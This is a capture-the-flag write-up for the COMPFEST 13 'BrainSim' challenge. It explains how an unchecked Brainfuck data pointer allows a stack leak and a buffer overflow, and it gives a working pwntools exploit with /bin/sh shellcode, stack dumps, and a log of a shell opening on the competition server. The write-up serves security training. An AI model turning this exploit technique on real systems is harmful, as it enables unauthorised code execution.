## BrainSim
> Points: 500>> Solves: 1
### Description:Heyy! So, I found this BF simulator thing. I thought it's hackable-ish? Because my friend told me there's flag file in it. Maybe you could help me while I'm having my breakfast ? Ehehe...
nc 103.152.242.242 29461
Author: xMaximusKl
Hint: Simple BOF using brainfuck, I wonder what you could with that ? Maybe hanging around in a forbidden place ? :)
### Attachments:```brainsim-master-public.zip```
I was able to start the shell in my local environment but couldn't get the flag from the server during the competition time.After the competition, I managed to start the shell, and when I checked the binary of the server, the binary of the server and the binary of attachment were different.
```$ ls -ltotal 48-rwxr-xr-x 1 0 0 21064 Sep 12 04:47 BrainSim　　　<--- The size is different.-rw-r--r-- 1 0 0  2261 Sep 12 04:47 BrainSim.c```
When I checked with the administrator on Discord, it seems that the administrator forgot to update the attachment.
I got the binaries from the server and checked the difference between the two binaries.The following parts of the `Interpret` function are different. There is one more `getchar()` in the attachment binary.
```          case 0x2c:            iVar2 = getchar();            mem[mp] = (char)iVar2;            getchar();                  <----- this part            ip = ip + 1;            break;```
Attach the binary `BrainSim_server` I got from the server.
## Analysis:
This is a challenge with Brainfuck.Since NX is disabled, launch the shellcode on the stack BoF.
```$ checksec BrainSim    Arch:     amd64-64-little    RELRO:    Full RELRO    Stack:    No canary found    NX:       NX disabled    PIE:      PIE enabled    RWX:      Has RWX segments```
Brainfuck uses the following variables.```ip:     Instruction pointerip_end: End position of instruction pointermp:     Data pointerbrack:  Flag to check the number before and after the bracket```
Since the range of the value of data pointer`mp` is not checked when executing the Brainfuck code, I can read the value on the stack and write arbitrary data by specifying the following character string.```.,[>.,]```
## Solution:
First I used `.,[>.,]` to leak the stack address (mp = 0 address).
```0x7fffffffddb0:	0x0000000000000000	0x00000000000000000x7fffffffddc0:	0x0000000000000000	0x00000000000000000x7fffffffddd0:	0x00007fffffffdee0	0x00007fffffffd5d0　<--- Leak this 0x7fffffffd5d0.0x7fffffffdde0:	0x00007fffffffde00	0x00005555555556ed0x7fffffffddf0:	0x00007fffffffdee0	0x31000000000000000x7fffffffde00:	0x0000555555555700	0x00007ffff7a03bf7```
Then I used `,[>,]` to write the shellcode and then change the return address of the `Interpret` function to the leaked stack address.
```0x7fffffffd5d0:	0x622fb84852d23148	0x485068732f2f6e69  <--- shellcode0x7fffffffd5e0:	0x48e689485752e789	0x414141050f3b428d0x7fffffffd5f0:	0x4141414141414141	0x4141414141414141...0x7fffffffddb0:	0x4141414141414141	0x41414141414141410x7fffffffddc0:	0x4141414141414141	0x41414141414141410x7fffffffddd0:	0x4242424242424242	0x42424242424242420x7fffffffdde0:	0x4242424242424242	0x00007fffffffd5d0　<--- Change from 0x5555555556ed to 0x7fffffffd5d00x7fffffffddf0:	0x00007fffffffdee0	0x31000000000000000x7fffffffde00:	0x0000555555555700	0x00007ffff7a03bf7```
I can start the shellcode by returning from the `Interpret` function to the `main` function with the `Exit` function.
## Exploit code:```pythonfrom pwn import *
#context(os='linux', arch='amd64')#context.log_level = 'debug'
BINARY = './BrainSim'elf  = ELF(BINARY)
shellcode = '\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05'
if len(sys.argv) > 1 and sys.argv[1] == 'r':  HOST = "103.152.242.242"  PORT = 29461  s = remote(HOST, PORT)  REMOTE = Trueelse:  s = process(BINARY)  libc = elf.libc  REMOTE = False
def Interpret_code(code):  s.sendlineafter("Input : ", "1")  s.sendlineafter("Code : ", code)
def Make_string(s0):  s1 = ""  for i in range(len(s0)):    s1 += s0[i] + s0[i]  return s1
if REMOTE:  # stack leak  Interpret_code(".,[>.,]")  s.sendline("A"*0x810+"\x00"*2)
  s.recvuntil("Output: " + "\x00"*0x800)  s.recv(8)  stack_leak = u64(s.recv(8))  print "stack_leak =", hex(stack_leak)
  Interpret_code(",[>,]")  buf  = shellcode  buf += "A"*(0x800 - len(buf))  buf += "B"*0x18  buf += p64(stack_leak)  s.sendline(buf)
else:  # stack leak  Interpret_code(".,[>.,]")  s.sendline("AA"*0x810+"\x00")
  s.recvuntil("Output: " + "\x00"*0x800)  s.recv(8)  stack_leak = u64(s.recv(8))  print "stack_leak =", hex(stack_leak)
  Interpret_code(",[>,]")  buf  = Make_string(shellcode)  buf += "AA"*(0x800 - len(buf)/2)  buf += "BB"*0x18  buf += Make_string(p64(stack_leak)[:-1]) + "\n"  s.sendline(buf)
s.interactive()
```
## Results:```bashmito@ubuntu:~/CTF/COMPFEST_CTF_2021/Pwn_BrainSim/brainsim-master-public/public$ python solve.py r[*] '/home/mito/CTF/COMPFEST_CTF_2021/Pwn_BrainSim/brainsim-master-public/public/BrainSim'    Arch:     amd64-64-little    RELRO:    Full RELRO    Stack:    No canary found    NX:       NX disabled    PIE:      PIE enabled    RWX:      Has RWX segments[+] Opening connection to 103.152.242.242 on port 29461: Donestack_leak = 0x7ffd02a75070[*] Switching to interactive mode
Output: $ ls -ltotal 48-rwxr-xr-x 1 0 0 21064 Sep 12 04:47 BrainSim-rw-r--r-- 1 0 0  2261 Sep 12 04:47 BrainSim.cdrwxr-xr-x 2 0 0  4096 Sep 12 04:40 bindrwxr-xr-x 2 0 0  4096 Sep 12 04:40 dev-r--r--r-- 1 0 0    56 Sep 12 04:47 flag.txtlrwxrwxrwx 1 0 0     7 Sep 12 04:40 lib -> usr/liblrwxrwxrwx 1 0 0     9 Sep 12 04:40 lib32 -> usr/lib32lrwxrwxrwx 1 0 0     9 Sep 12 04:40 lib64 -> usr/lib64lrwxrwxrwx 1 0 0    10 Sep 12 04:40 libx32 -> usr/libx32-rwxr-xr-x 1 0 0   338 Sep 12 04:47 run.shdrwxr-xr-x 6 0 0  4096 Sep 12 04:40 usr$ cat flag.txtCOMPFEST13{570PPPP_I7___937_0U7_0f_my_H34d___b6fc1236d6}```
The administrator sent me the Exploit code, so I attach `exploit.py`.Thank you for your polite response even after the competition.
## Reference:https://en.wikipedia.org/wiki/Brainfuck
https://www.notion.so/RCTF-2020-acfcdd0de8534ed0a7caef3549088281